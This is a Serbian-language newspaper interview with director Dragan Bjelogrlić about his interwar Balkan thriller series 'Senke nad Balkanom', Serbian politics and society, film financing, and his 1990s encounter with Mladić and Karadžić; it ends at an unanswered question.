INTERVJU, BJELOGRLIĆ: Mladić mi je bio simpatičniji od Karadžića

Kada sam ih upoznao, Mladić mi je bio simpatičniji od Karadžića. Bio je to kratak susret, on je bio dobar domaćin, šalio se. Ali kad se tri meseca posle toga desi Srebrenica, onda je to ružan san

Dragan Bjelogrlić uspeva u nečemu što je danas u Srbiji čista alhemija. U gotovo nemogućim uslovima, kakvi već dugo vladaju u našoj kinematografiji, popularni glumac i reditelj pravi serije i filmove koji kvalitetom ni po čemu ne zaostaju za najskupljim evropskim produkcijama. Kao i svaki filmadžija, Bjela ima ideale, ali istovremeno je i čvrsto na zemlji. Takav je po pitanju sopstvene profesije, ali i kada govori o politici, istoriji, stanju u srpskom društvu danas, kao i o dešavanjima na velikoj svetskoj pozornici.

Pre nekoliko dana počeli ste snimanje serije "Senke nad Balkanom", o kakvim senkama se radi i koliko su one i dalje prisutne na ovom prostoru?

- Poetsko pitanje. Nisam mogao da smislim bolji naslov, a tražio sam neki koji ne bi imao u sebi reč "Balkan". Međutim, kad stvarno sagledam celu priču, ona govori o jednom specifičnom delu sveta, i sve na šta sam nalazio u pripremi, a pročitao sam dosta o periodu između dva svetska rata ovde, za sve je Balkan zajednički pojam, kao jedan specifikum. Ovde se radi o jednom jedinstvenom mentalitetu, o posebnoj vrsti kulture, načinu života. A za pitanje koje su to senke i da li su i dalje prisutne, odgovorio bih da pokušavamo da napravimo priču o ljudima koji žele da prežive uprkos senkama koje su ovde konstanta, kako tada pre skoro sto godina, tako i danas. Podele, sukobi, mržnja, neizvesnost, zaostalost svake vrste, a onda i uticaj velikih sila koji je često veoma loš. Ispod balkanskog sunca, koje je stalno prekriveno nekim oblacima, stvaraju se senke koje otežavaju normalan život.

Koji je to filmski žanr koji mi ovde živimo?

- U seriji će to biti triler. Mislim da je to najbolji žanr za ovu priču. Politički triler, drama sa elementima mistike, iz tog ugla će se gledati. To neće biti epska priča o Balkanu, serija će u osnovi imati zaplet koji je trilerski i jednu trilersku konstrukciju. A kroz tu trilersku konstrukciju pokušavamo sa kombinacijom istorijskih ličnosti, istorijskih događaja i jednim delom fikcije da ispričamo zanimljivu priču koja nosi miris Balkana i njegov pečat. Želja mi je da ljudi osete kao da se to dešava sad, iako je vremenski radnja pre skoro sto godina. Jer kad god se neko bavi istorijom ovih prostora, vidi da se u suštini stvari nisu mnogo promenile.

Foto: Nemanja Jovanović

Ne postoji nijedan drugi prostor kao što je Istočna Evropa i posebno Balkan, gde je tolika povezanost politike, krupnog kapitala, kriminala, svetske i lokalne politike. Svi ti vetrovi ovde konstantno duvaju. Nekada se znala podela, ovamo Nemci, tamo Francuzi i Rusi, ovi ne vole ove, ovi one. Znale su se pozicije. Sad je problem što je dosta nejasno. Nekako se sve izmešalo

Za triler ovde zaista ima mnogo materijala, zašto ga na filmu nema tako često?

- I ja mislim da je to čudno, da je triler žanr koji faktički ne postoji u našoj kinematografiji. Kad bi hteli da prebiramo, možda bismo na prste jedne ruke našli u celoj čak jugoslovenskoj kinematografiji filmove koji su klasični trileri. Nemam objašnjenje zašto je to tako, pitanje žanra jeste nešto što ne mora da ima veze sa realnim životom. Prosto se to nije "zapatilo", ali činjenica je da su naši životi prepuni trilera, da mi živimo triler, to je najzanimljivije. Sećam se kada se jedan svetski distributer zainteresovao za "Montevideo", on mi je rekao: "Meni je čudno da vi radite romantične priče, melodrame, umesto da radite neke 'Sopranose' jer kod vas se svaki dan dešavaju 'Sopranosi'. I zaista, osim još možda Južne Amerike, ne postoji nijedan drugi prostor kao što je Istočna Evropa i posebno Balkan, gde je tolika povezanost politike, krupnog kapitala, kriminala, svetske politike i lokalne politike. Svi ti vetrovi duvaju Balkanom i ne postoji drugi prostor gde je to očiglednije. Serija se bavi upravo tom isprepletanošću svetskih uticaja, lokalnih politika, lokalnih moćnika, korelacija biznisa i sa politikom. Iza svega, naravno, stoji jedan ogroman kriminal.

Koji su to događaji iz treće decenije 20. veka zbog kojih ste se opredelili da se bavite baš tim periodom?

- Pa tada se desilo ubistvo u skupštini, kada je ubijen hrvatski političar Stjepan Radić. Pa je pod sumnjivim okolnostima umro general Vrangel, vođa ruskih belogardejaca, koji su najvećim delom posle oktobarske revolucije došli u Srbiju. On je sahranjen u ruskoj crkvi na Tašmajdanu. Iste 1928. godine pokreće se osnivanje "Prizada", a to je državna institucija koja je imala monopol na izvoz poljoprivrednih proizvoda, a u stvari na izvoz maka, odnosno opijuma. Opijum koji se pravi od makedonskog maka dugo je smatran najboljim na svetu. Postoje zapisi Interpola i istorijski zapisi koji govore da je oko te trgovine izbio veliki rat pošto je konkurentski opijum bio iz Turske. Država tada pravi preduzeće koje ima isključivo pravo da izvozi opijum. Jedan od najvećih kupaca jeste čuvena švajcarska firma "La Roš". Balkan je tada nazvan evropskom Kolumbijom.

I danas na Balkanu imamo veoma sličnu priču...

- Pa da, o tome se i radi. Ulogu države u trgovini opijumom verovatno nikada nećemo zvanično saznati, kao što nikada nećemo saznati pravu istinu o švercu cigareta i nafte devedesetih godina. Ali svi mi koji smo u to vreme živeli ovde znamo šta se radilo, ko je radio, kako je radio i s kim. Ljudi iz onog vremena isto su tako to sve znali, ali nigde ti ne možeš da nađeš dokaz da je to baš bilo tako. Sa ove vremenske distance stvari izgledaju jasnije. U to vreme imali smo i jak uticaj Kominterne, pa nacizam, koji je bio u povoju, belogardejce, koji nestaju sa scene.

Ko je od ličnosti u prvom planu?

- Dovoljno je da pomenemo Petra Živkovića, načelnika Generalštaba i šefa kontraobaveštajne službe, na primer. On je bio najpoznatiji homoseksualac toga vremena kod nas. Takođe, tu je i Ante Pavelić, advokat koji je tada često boravio u Beogradu, a kasnije je bio vođa NDH. Obojica su u seriji. Postoji ta paralela sa današnjim vremenom. Intenzivni periodi na Balkanu veoma liče jedni na druge.

Foto: Nemanja Jovanović

I na Zapadu ima sve više seljaka koji se pojavljuju u politici. Evo ga Donald Tramp. I tamo je jedno zaseljačivanje prisutno, ali kod nas je to dominantno i ne postoji neka mogućnost da će se taj proces zaustaviti

Istorija Balkana izuzetno je zanimljiva i mogla bi da bude poučna, ali mi iz tog perioda veoma malo znamo, naš film se malo bavio tim periodom. Zašto?

- Nažalost, mi o tom periodu ne znamo ništa, čak i u literaturi ima malo materijala, na filmu gotovo ništa, televizija ništa, čak ni dokumentaristika, postoje neki dokumentarci, ali to je sve veoma skromno. Toliko stvari ja nisam znao.

Zašto slabo učimo iz te istorije? Zašto dozvoljavamo da nam se stvari ponavljaju?

- Pa ne znam. Da li je to odraz nekog konzervativnog primitivizma koji manje-više svi živimo, ljudi vole da se zatrpaju u svoje rovove i da iz svojih rovova komuniciraju. Ja nemam objašnjenje za ovo što se sad dešava. To je veoma kompleksno pitanje. Maltene imaš utisak da ovde svet nije toliko prisutan i da ne kontroliše situaciju da bi opet izbio rat. Kada čovek normalno živi i druži se sa normalnim ljudima, ne oseća to. Tako je bilo i devedesetih. Tri meseca pred rat ja sam išao u Sarajevo i u Zagreb, sedeo sam u društvu normalnih ljudi i svi su rekli: "Ma kakav rat!" Pa se rat desio. Sad se to neće desiti jer nam neće dozvoliti.

Kad Vam se čini da je bilo uzbudljivije za život, dvadesetih godina prošlog veka ili danas?

- Prošlost uvek deluje romantičnije. Mi ne znamo da li je ona stvarno bila tako romantična kao što se nama čini, ali prošlost zaista deluje romantičnije. Tada je, doduše, i svetska politika jednostavnije funkcionisala. Prosto se znala neka podela, ovamo Nemci, tamo Francuzi i Rusi, ovde Musolini, ovi ne vole ove, ovi one. Znale su se pozicije. Sad je problem što je mnogo nejasno. Nekako se sve izmešalo. Ono što je velika razlika, male države tada su još imale neku snagu, sad je nemaju uopšte. Izgubile su svoj integritet i političku autonomiju. Novi svetski poredak to je tako postavio da se prosto podelila politika na krupne delove i ti kao mali želiš po svaku cenu da se priključiš nekome.

Koje su zemlje od tadašnjih sila imale najveći uticaj u Jugoslaviji? Jesu li to bili Englezi, njihova služba bezbednosti? I sada je to aktuelno.

- Za Kraljevinu Jugoslaviju već od 1928. godine bilo je jasno da ona ne može da opstane. Kad se gleda sa ove distance, to je jasno kao dan. Ovde su tad dominantni uticaj imali Engleska i Francuska, i oni su pokušavali da sačuvaju Jugoslaviju. Došao sam do zaključka da su svi hteli da ubiju kralja Aleksandra, možda jedino Englezi i Francuzi nisu, ali svi ostali veliki i svi drugi u Jugoslaviji osim Srba hteli su da mu vide leđa. U to vreme politički atentati bili su nešto normalno. Htele su da ga ubiju ustaše, VMRO, Italijani, Bugari, nacisti, Kominterna, prosto čovek nije imao nikakve šanse da preživi, borio se kao lav a nikakve šanse nije imao.

Imaš li utisak da se društvo u Srbiji promenilo u međuvremenu, jesmo li napredovali ili nazadovali?

- Da smo nazadovali, jesmo. Imam više od 50 godina i pamtim vreme sedamdesetih, čak pamtim i hipi pokret, mali sam bio, ali ga pamtim. Ovo je ogromno nazadovanje u sistemu vrednosti. Mi govorimo o tehnološkom napretku, svet napreduje tehnološki, ali ako posmatramo ideje, ideale, svet samo nazaduje. A kod nas, kao i u svemu, sve to je izoštrenije i radikalnije. I na Zapadu ima sve više seljaka koji se pojavljuju u politici. Evo ga Donald Tramp. I tamo je jedno zaseljačivanje prisutno, ali kod nas je to dominantno i ne postoji neka mogućnost da će se taj proces zaustaviti. Kad posmatram Srbiju od devedesetih naovamo to je jedan put ka dole, koji je imao svoja zastajkivanja, ali to je toliko blago s obzirom na taj glavni trend.

Moj glavni utisak jeste da je ovde sve postalo jeftino. Traže se jeftine serije, jeftini proizvodi, jeftina radna snaga. Kao da je neko došao i rekao: "Vučiću, vaša jedina šansa jeste da budete jeftini." Ja na to ne pristajem

Jel to novi poredak u svetu, u kome je naše mesto jasno određeno?

- Taj poredak ima za koncept da ako poželiš da si ambiciozan u životu i želiš nešto da napraviš u svojoj profesiji, onda idi u London, idi u Njujork, idi u te velike centre. Može poneko i ovde, ali zna se kako, mnogo teže. I to je prosto taj koncept. Moj glavni utisak, sad posle nekoliko meseci rada na seriji, jeste da je ovde sve postalo jeftino. Traže se jeftine serije, jeftini filmovi, jeftini proizvodi, jeftina radna snaga. Ovde je taj koncept vlast prihvatila pod MMF-om kao mentorom. Kao da je neko došao i rekao: "Vučiću, vaša jedina šansa jeste da budete jeftini." To je užas i ja sa tim sigurno za ovog života neću da se pomirim. Užasno bi bilo ako je to jedino rešenje. Ako se mi sa tim pomirimo, onda smo skroz propali.

Jel to ta dominantna razlika između sveta danas i onog od pre sto godina, kojim se bavi serija?

- Tako je. Sve je danas jeftinije, sve je srozano i devalvirano. Čovek sa ambicijom, u bilo kom poslu, ovde nema podršku. Nemamo sistem koji podupire vizije i ambicije. RTS je na mukama što ja radim ambicioznu seriju, mnogo bi im bilo lakše da radim nešto na šta su svi navikli. Svima bi bilo lakše i svi bi znali o čemu se radi. Ovo je muka jer ja hoću nešto što odskače iz okvira. I meni i njima je muka. Meni jer nemam podršku, a njima jer ne znaju kako da to podrže. Stvarno mi nije jasno to, zvanična politika forsira strane investicije, ulaganja stranih kompanija, a šta je sa domaćim investicijama. Ova serija će zapošljavati 200 ljudi skoro godinu dana.

Poznati ste kao neko ko zastupa ideje levice, ideju socijalne pravde, ali to u današnjem vremenu gubi snagu, gubi trku sa surovim tržištem, tranzicijom, neoliberalnom ekonomijom. Kako se u svemu tome snalazite?

- Ja nisam nesnalažljiv čovek. Ja sam shvatio pravila igre i igram po tim pravilima, ali to ne znači da ja verujem da je to dobro. Znam da danas ako nemaš materijalna sredstva, teško možeš da opstaneš u bilo kom smislu. Trudim se da obezbedim kapital za sebe i svoju porodicu jer drugačije ni ja ni moja deca nećemo moći da opstanemo u ovom svetu. Neće moći da se školuju, da se sutra ostvare. Danas je dominantna uloga kapitala. Ja igram po tim pravilima, ali zadržavam pravo da mi se to ne sviđa. Moja generacija nije baš zabola najbolji trenutak da svoj ovozemaljski život ostvari. Mislim da su oni koji su živeli posle Drugog svetskog rata, u vreme rokenrola i hip-hopa, imali mnogo lepšu priču. Ja to tako gledam.

A kad Vam neko kaže: "Lako je tebi, voziš dobra kola"?

- Pa tako ovaj svet funkcioniše, ja znam da se bavim umetnošću, ja sam glumac, reditelj, ja sam ne mogu da promenim stvari. Ono što ja mogu, to je da u svojim delima propagiram ono u šta ja verujem.

Ljudi u Srbiji teško žive i mnogi se ne snalaze za svoj svakodnevni život. Koliko je za to odgovorna samo vlast, a koliko su ljudi ovde postali statični, očekuju od države da im ponudi rešenja, kao da nisu spremni da preuzmu odgovornost i sudbinu u svoje ruke?

- Mislim da je to najveći problem. Nepostojanje svesti o sebi samima najveći je problem našeg društva. Ta očekivanja da će neka vlast nešto da reši. Ja generalno mislim da vlast veoma malo može da reši. Pitanje je organizacije građana i samosvesti građana. Ja sam o vladarima Srbije prestao da razmišljam. Nemam više šta da mislim o tome. Otkako je počelo višestranačje, ja ne znam da li postoji jedna stranačka opcija da nije bila na vlasti i ni sa jednom nismo bili zadovoljni. Tako da sam prestao da opterećujem svoj mozak razmišljajući o vlasti. Ja samo mogu da razmišljam o tome zašto se mi kao građani nismo bolje organizovali i daću vam najkonkretniji primer. Da ovde postoji jako udruženje umetnika, pa jako udruženje lekara, arhitekata i tako dalje, kad se desilo ovo što se desilo u Savamaloj, pa ne bi nama bila potrebna neka politička partija da kaže da je to loše ili nije loše. Dajem jedan banalan primer. Da postoje ta udruženja i da smo rekli da će stati pozorišta, da lekari neće raditi, da će štrajkovati piloti, građevinske firme, to bi se odmah rešilo. Nema čoveka koji o tom događaju nema mišljenje da je to sramotna stvar. Ali šta sad, jel ja treba opet da idem da šetam? Šetao sam hiljadu puta, sad treba opet neka politička opcija mene da zove u šetnju. Ne želim više u tome da učestvujem, i većina građana ne želi više u tome da učestvuje.

Foto: Nemanja Jovanović

Ako pogledamo istorijski, građanska elita uvek se malo stidela srpskog seljaka, nije htela da ga edukuje nego ga je prezrela. Devedesetih se građanska Srbija sklonila u mišju rupu, a onda kad je došla na vlast, toliko su se iskompromitovali da su se svakom normalnom smučili. Sad su opet u mišjoj rupi, i stalno to traje, nema balansa

Građanska svest o kojoj često pričamo ovde nije preterano razvijena, a mnogima pozivanje na građansku inicijativu kao da daje prostor za zloupotrebe?

- Nikad nije bila mnogo jaka, ali sada je nema uopšte. Prosto je nestala, a prepoznajem i tendenciju da se ona potpuno marginalizuje. A u tome je, između ostalog, i sama kriva. Ako pogledamo istorijski, građanska elita uvek se malo stidela srpskog seljaka, nije htela da ga edukuje nego ga je prezrela.

Kad kažete seljak, mislite u pežorativnom smislu. Čovek seljak je pozitivna stvar.

- Tako je. Ne govorim o zemljoradniku, čoveku koji radi na selu, nego onom duhovnom seljaku. Ovde se elita uvek stidela neobrazovanog dela društva, koji svako društvo ima, nije želela da ga izdigne, da mu pomogne. Naravno, to je stvaralo jaz pošto je mnogo više siromašnih i neobrazovanih, stvarao se taj jaz i sada mi na političkoj sceni imamo sukob te dve struje. Ali postoje i dve Francuske i dve Španije, nije to naš izum, samo tamo taj jaz nije tako izražen. Ovde se te dve grupe nekako iracionalno mrze. A građanska, ja ne volim tu reč, posle 5. oktobra meni je bilo muka već od te građanske Srbije. E to je to. Devedesetih se građanska Srbija sklonila u mišju rupu, a onda kad je došla na vlast, toliko su se iskompromitovali da su se svakom normalnom smučili. Sad su opet u mišjoj rupi, i stalno to traje, nikako balans da se napravi. Stalno imamo to iz krajnosti u krajnost.

Da li su ovde demokratija i slobode shvaćene na pravi način?

- Ovde se sve prebacuje na teren politike. Mislim da je naš najveći defekt to što mi nismo shvatili višestranačje kako treba, taj demokratski stil nismo shvatili, da s jedne strane postoje političari koji nama polažu račune, a mi smo ti koji treba organizovano da delujemo, da su oni naš servis. Ja imam prijatelje koji su ulazili u politiku želeći da nešto promene, a nisu sa svojih pozicija ništa menjali. Mi smo godinama kukali zbog situacije na filmu i stalno smo čekali da vidimo ko će da bude ministar kulture. Nijedan ministar kulture nije rešio problem filma. Tek prošle godine smo se skupili i napravili fondaciju za film. I za godinu dana uradili smo više nego za prethodnih dvadeset. Do pre dve godine bila je katastrofalna situacija, nije bilo konkursa za film, ništa se nije snimalo, mislili smo da smo propali. Onda smo se iz očaja našli, skupili i rekli "ovo su naši ciljevi", potrudili se, rekli "želimo ovo, želimo ono" i odmah smo došli do rezultata.

Da li onda dolazimo do zaključka da smo mi kao društvo više skloni da sedimo sa strane i kritikujemo nego što ćemo da odlučimo da se bavimo nekim poslom i da budemo uspešni u njemu, pa da onda iz te jedne potpuno druge pozicije utičemo i menjamo stvari nabolje?

- Da, ja mislim da smo mi u stvari demokratski neobrazovano društvo. Imali smo socijalizam koji smo napustili, a tu je sve postojalo. I Srpsko lekarsko društvo i Udruženje pisaca i Udruženje glumaca. Po socijalističkom sistemu, ali je postojalo. Ali socijalizam je izgubio svetsku bitku i mi ne znamo šta bi bilo da je socijalizam pobedio. Da li je on imao šanse da dobije, to je sad veliko pitanje. Mislim da Jugoslavija nije ušla u rat da bi sad bila ispred Češke i ispred svih istočnoevropskih zemalja.

Ljudi ovde u najvećem broju žele državni posao, da budu na budžetu. Da je sigurna plata, penzija, topli obrok i malo njih želi da iskorači iz toga, da preuzme rizik na sebe. Koliko vidiš to kao problem?

- Pa jeste, to je činjenica. To su neke pogrešne navike. Mi često kažemo srpski mentalitet. Nije srpski mentalitet mnogo drugačiji od grčkog, bugarskog ili francuskog, to su slični mentaliteti. Zato sve češće koristim izraz "Balkan" iako ga ne volim. Ali problem u današnjem svetu jeste to što levice nema. Levica ne postoji. Ovo što imamo kao liberalnu levicu, kojoj su osnov programa gej prava i prava životinja, to su gluposti. To je banalizacija jedne ogromne ideje. Problem nas Srba, problem našeg društva u situaciji kakvoj jesmo, jeste upravo nepostojanje svesti da nema rešavanja naše sudbine ili našeg opstanka i bivstvovanja dok se to ne reši u bazi. Opet se čeka da "Vučić sve uradi". Pa šta može jedan čovek da uradi? Možda on i misli da je supermen ili neki misle da je on supermen, ali ne može. Mora sistem da funkcioniše i da rešava probleme.

U svojim filmovima i serijama okupljate ekipu iz svih bivših republika SFRJ. Kako je moguće da smo mi i dalje sa tim najbližim komšijama u lošim odnosima. To sa Hrvatskom nikako ne funkcioniše. Sa Sarajevom takođe. Opet se priča o ratovima. Kako to objašnjavate?

- Nemam tu pamet da objasnim. Nisam pripadnik teorije zavere. Pripadnici teorije zavere tvrde da onima koji odlučuju o svemu odgovara da ovo naše područje bude uvek nestabilno i da se to jednostavno tako održava. A hvala bogu, ovde ima dovoljno budala da posluže takvoj politici. Ja nisam pristalica tog mišljenja. Objašnjenje kom sam ja skloniji jeste da mi nekako iz tog raspada Jugoslavije, svih tih ratova devedesetih, nismo izašli sa jasnom pozicijom šta se tu desilo. Jer to je bio ipak jedan mali lokalni sukob. Prvi i Drugi svetski rat, tu se znalo ko je pobedio, ko je izgubio, jasno su se podelile priče i odnosi, i išlo se dalje. A ovde ti ne znaš, napravljen je truli kompromis da bi se to nekako završilo. Svi su tu nešto izgubili i dobili i jedino rešenje za to bilo je da dođu neki novi ljudi koji će gledati da što pre zaborave te devedesete. Međutim, taj Hag samo je dolivao ulje na vatru. Sad se opet vraćamo i imamo situaciju da se u Hrvatskoj slavi "Oluja", u Srbiji je istovremeno dan žalosti, Izetbegovića Bošnjaci smatraju najvećim junakom, a deset kilometara dalje smatraju ga za najvećeg zločinca i obrnuto, i tu nema sreće. Vraćamo se priči koju smo hteli početkom ovog veka da zaboravimo. Hrvati rade film o Gotovini, u Bosni hoće da rade film o Srebrenici...

Hrvati rade film o Gotovini sa velikim budžetom, u Bosni hoće da rade film o Srebrenici...nije logično da mi još uvek nismo snimili film o Jasenovcu. Trebalo je da se napravi šezdesetih, sedamdesetih godina, tad nije napravljen iz političkih razloga

A mi? Kako je moguće da mi još uvek nemamo snimljen film o Jasenovcu?

- Nije logično. Trebalo je da se napravi šezdesetih, sedamdesetih godina, tad nije napravljen iz političkih razloga.

A mi? Kako je moguće da mi još uvek nemamo snimljen film o Jasenovcu?

- Nije logično. Trebalo je da se napravi šezdesetih, sedamdesetih godina, tad nije napravljen iz političkih razloga. Došli su ratovi devedesetih, nove teme, ali ja mislim da će jednog dana biti napravljen jer treba da se napravi, samo je pitanje kakav će biti. Ako se bude snimao kao jeftina propaganda, to će biti pogrešno.

Kako biste Vi taj film uradili?

- Ne znam, nisam razmišljao o tome. To nije vrsta teme koja bi mene lično interesovala, a ovako fenomenološki se slažem. Kad me pitaš kao čoveka koji se bavi filmom, ja kažem da stvarno nema logike da film o Jasenovcu nije već napravljen.

Da li se o tome uopšte do sada govorilo u filmskim krugovima?

- Znam da su neki ljudi pravili neke scenarije, ali nikad niko nije seo i iskreno to pokrenuo. I uvek se to gledalo kao "trebalo bi da se napravi", pa "red je da napravimo". Možda zato nije ni nastao film. Verovatno je šezdesetih i sedamdesetih bilo ljudi koji su to iskreno želeli, ali nisu mogli jer to tad nije bilo politički korektno.

Hrvati najavljuju film o Gotovini sa velikim budžetom, oni na tom domovinskom ratu grade čitavu mitologiju. Ne može da se poredi, ali to je nešto kao u SFRJ kad su se pravili filmovi o narodnooslobodilačkoj borbi. Kako to komentarišete?

- Oni su dobili državu tek 1991. godine i kod njih je to izraženije, oni žive za to. Mi smo državu imali i pre 150 godina, pa nam to nije neki "big dil". A ovo sa Gotovinom, tu se neće usrećiti jer svi ti njihovi filmovi o domovinskom ratu su bezveze, nema nijedan dobar i svi oni više vole "Lepa sela lepo gore" nego sve te njihove. To nije put kojim treba ići. Dobro je što se mi takvim stvarima ne bavimo, bar tu imamo svest. Da ne pravimo filmove o našim generalima iz devedesetih. Dobro je da se to kod nas nije primilo.

Imali ste prilike pred kraj rata devedesetih, kada ste Srđan Dragojević i Vi pripremali "Lepa sela", da se sretnete sa Radovanom Karadžićem i Ratkom Mladićem. Kako se sada sećate tog vremena i tih ljudi?

- Kao neki ružan san. Često se priča o tome, ne volim da se sećam. Ne peče me savest u vezi sa filmom.

Jeste li bili svesni koliko značajan film snimate?

- Jesmo. Mi smo bili svesni da smo se uhvatili nečega ozbiljnog, delikatnog. Pre dvadeset godina bili smo mladi i dovoljno hrabri.

Kakav je utisak na tebe ostavio Ratko Mladić? Jesi li bio svestan o kom čoveku se radi?

- On je u tom trenutku bio na vrhuncu svoje moći, a kad su ljudi na vrhuncu svoje moći, onda se to vidi. Imponovalo mi je malo, osećala se ta moć kod njega, bila je onako čudna. Bio mi je simpatičniji od Karadžića. On mi je delovao neozbiljno. Mladić je bio vojnik, konkretan. Bio je to kratak susret, mi smo bili kod njega, on je bio dobar domaćin, šalio se, imao je neke dobre štosove. Ali kad se tri meseca posle toga susreta desi Srebrenica, onda to mora da bude ružan san. Kako ti sada da imaš odnos prema tome osim kao prema jednom košmaru u kome smo svi živeli. Prosto nisi mogao da znaš sa kim deliš prostor.

Šta misliš, kako bi trebalo da se reši problem Bosne i Hercegovine? Da li ta država može da ostane u ovom formatu ili bi možda trebalo da se redefiniše nešto u njenom statusu?

- Malo je ružno da mi iz Beograda to govorimo. Moja porodica je iz Hercegovine i vezan sam za taj prostor, osećam taj narod, i jedan i drugi. Nisam ravnodušan, ali ne vidim perspektivu te države. Kako će to da se završi, nemam odgovor na to pitanje, ali ovako kako je sad, to ne valja sigurno, to ne vodi u dobrom pravcu i nije dobro nikome. Nije dobro ni jednoj, ni drugoj, ni trećoj strani. Sve što rade političke strukture ide suprotno od rešenja. Malo je glupo da u Istočnom Sarajevu uče jednu istoriju, a u ovom drugom Sarajevu drugu istoriju. U Banjaluci đaci uče jedno, a u Mostaru drugo.

Te različite verzije istorije su veoma opasne?

- Naravno. Mogao bih sada da ti navedem hiljade primera kako je sve to tamo naopako, od svakodnevnog života do visoke politike, i ne daje nikakvu perspektivu toj tvorevini. Jedno rešenje bilo bi kada bi oni uspeli da ne insistiraju više na tim razlikama, da probaju da nađu najmanji zajednički sadržalac, a drugo rešenje je da se raziđu. Ali pitanje je i kada bi se razišli da li bi to rešilo problem. Oni bi opet ostali da žive jedni pored drugih.

Koja Vam je prva asocijacija kad pomislite na Kosovo?

- To je jedna velika tuga. Tuga i bol.

Mislim da je osnovni problem današnje vlasti to što ona suštinski ne veruje u demokratiju iako ima nekih pozitivnih stvari, postoji neka ozbiljnost, imam osećaj da je malo uveden red, manje se krade

Da li je Srbiji trenutno potrebna drugačija vlast ili drugačija opozicija, ili i jedno i drugo?

- Rekao sam ti da sam ja prestao da razmišljam o vlasti, to više nije moja tema. Kad se okrenem dvadeset godina unazad, postoje samo neki kratki periodi normalnosti. Kao da je svaka vlast imala nešto dobro i nešto veoma loše. Sloba nije rasprodao firme, održao je neku svest o državnosti, ali uvukao nas je u sve moguće ratove, zla, sankcije, rat sa svetom. Onda su došli ovi koji su vratili demokratiju i vratili nas u svet, ali sve su rasprodali i krali su strašno. Onda su se desili i ovi treći, koji su mešavina svega toga. Mislim da je osnovni problem današnje vlasti to što ona suštinski ne veruje u demokratiju iako ima nekih pozitivnih stvari, postoji neka ozbiljnost, imam osećaj da je malo uveden red, manje se krade.

A koje su Vaše glavne zamerke?

- To što ne veruju u demokratiju, ne veruju u demokratske institucije. Ne misle da je to važno. Nikako da se kompletiramo. U vreme ovih ranijih postojale su te neke demokratske slobode, običan građanin osećao se dostojanstvenije. Ali ta potreba da imaš vođu, to je odraz jedne demokratske nekulture i primitivizma. Neshvatanja kako svet funkcioniše. Neki to vole, ja ne volim.

Da li mi u Srbiji imamo dovoljno sposobnih ljudi za ključne državne poslove? Mnogo ljudi je otišlo, mnogo smo toga potrošili?

- Svet je tako ustrojen da ako želiš da uspeš u životu, moraš da odeš odavde. Naša sredina formirana je na jeftinoj psihologiji, ideologiji da ovde možeš samo nešto jeftino. "Audi" će se praviti u Nemačkoj, a ovde ćemo da radimo šrafove za "audi". To je taj apsurd tranzicije koju živimo. Mi moramo da budemo jeftini da bismo dobili posao.

Da li onda uopšte verujete u tu priču o EU? Da li mi možemo da budemo ravnopravni u toj zajednici, koliko su se stvari promenile u međuvremenu?

- Naš ulazak u Evropsku uniju sad je kao kad dođeš na žurku u pet sati ujutru. Sve najbolje ribe već su otišle i nema više pića. Mi smo, nažalost, ti koji dolaze na žurku u pet ujutru. Žurka uveliko zamire, a mi ulazimo puni entuzijazma.

Postoji jedna stvar koja je neverovatna, a to je da smo mi od početka višestranačja imali samo jednog dobrog ministra kulture. To je Nada Popović i posle toga ništa. Od 5. oktobra nijednog

Mnogi ljudi iz kulture žale se na trenutno stanje. Na Tasovca je bila ogromna povika dok je bio ministar. Da li jedan čovek može da bude isključivo odgovoran i koliko on uopšte ima značaja u tom poslu?

- Postoji jedna stvar koja je neverovatna, a to je da smo mi od početka višestranačja imali samo jednog dobrog ministra kulture. To je Nada Popović i posle toga ništa. Od 5. oktobra nijednog. Mislim da je problem u tome što se ljudi iz kulture sami nisu izborili za sebe. Nekim ministrima ide lakše, nekim teže, ali mi smo tu, nema nas mnogo, i nismo velikima bitni za veliku igru. Naravno, ne moram da naglašavam koliko je kultura od krucijalnog značaja za male nacije.

Kako gledate na aktuelnu poplavu tabloidnog sadržaja u čitavom društvu?

- Mi smo primitivni i siromašni. I u Americi je najpopularnija Kim Kardašijan, to je kič svoje vrste, ali profesionalno je urađena. Nije "Farma", kao kod nas, urađena jeftino, na najgori mogući način.

Koliko su film i serijski programi značajni za čitavo društvo u toj situaciji? Koliko su u stanju da pariraju rijaliti sadržajima?

- Od neprocenjivog su značaja, posebno za Srbiju. Srpske serije i filmovi još uvek su najpopularniji na ovom našem podneblju, a to je neverovatno bitno za jedan narod. Da ga drugi gledaju, da upoznaju njegov ambijent. Koliko je klinaca koji nisu znali šta je Beograd, pa kad su gledali film "Rane" jedva su čekali da dođu da ga vide. Zašto ne negovati nešto gde smo već dobri? A ne čini se ništa da se to zadrži. Ako je budžet Hrvatske za film 11 miliona evra, u Srbiji bi trebalo da je 13, a mi smo se jedva izborili za pet. Budžet Makedonije je šest, budžet Slovenije osam i ne znam za BiH, mislim da je tu kao kod nas. Ne možemo stalno da prolazimo na naš talenat i tradiciju. Vremenom će se desiti kao i u fudbalu. Ovi bogati klubovi dobiće dobre igrače, napraviće dobar ambijent i neće više sa njima moći da se igraju utakmice. Ako ja pravim seriju i ne mogu da se izborim za 100.000 evra po epizodi, a u Hrvatskoj se radi mnogo manje zahtevna serija sa savremenom tematikom i ima 150.000 evra po epizodi, pa kako ja da se takmičim sa njima? Ja i dalje verujem da ću napraviti bolju seriju od njih, ali to je sve teže.

Kako ste uopšte došli do para da možete da radite ovako zahtevnu seriju kao što je "Senke nad Balkanom"?

- Uspeo sam zato što sam veoma dugo radio scenario i našao sam tri koproducenta. Već sam unapred prodao seriju Crnoj Gori, najverovatnije i Sloveniji, idem ovih dana tamo. Eto tako sam uspeo. Za film o Gotovini Hrvatska država je dala 4,5 miliona evra. U Srbiji regularno ne možeš da dobiješ više od 400.000. Hajde da zovemo stvari pravim imenom. Želimo li mi da igramo tu utakmicu ili ne. Moramo o tome da pričamo. Pritom ja ne kažem da mi to moramo da dobijemo u državi. Postoji predlog novog zakona o kinematografiji koji uopšte ne traži od države pare. Napravljen je po modelu savremenih država. Svako ko živi od filma treba da da jedan mali procenat za kinematografiju i mi smo rešili problem, a to su sve televizije, kablovski operateri, bioskopi.

Ove godine izgubili smo nekoliko izuzetno značajnih glumaca. Slučaj Milorada Mandića, koji je umro na pozornici, pokrenuo je priču oko položaja glumaca i njihovih egzistencijalnih problema. Kako Vi na to gledate, Manda je bio Vaš veoma blizak prijatelj?

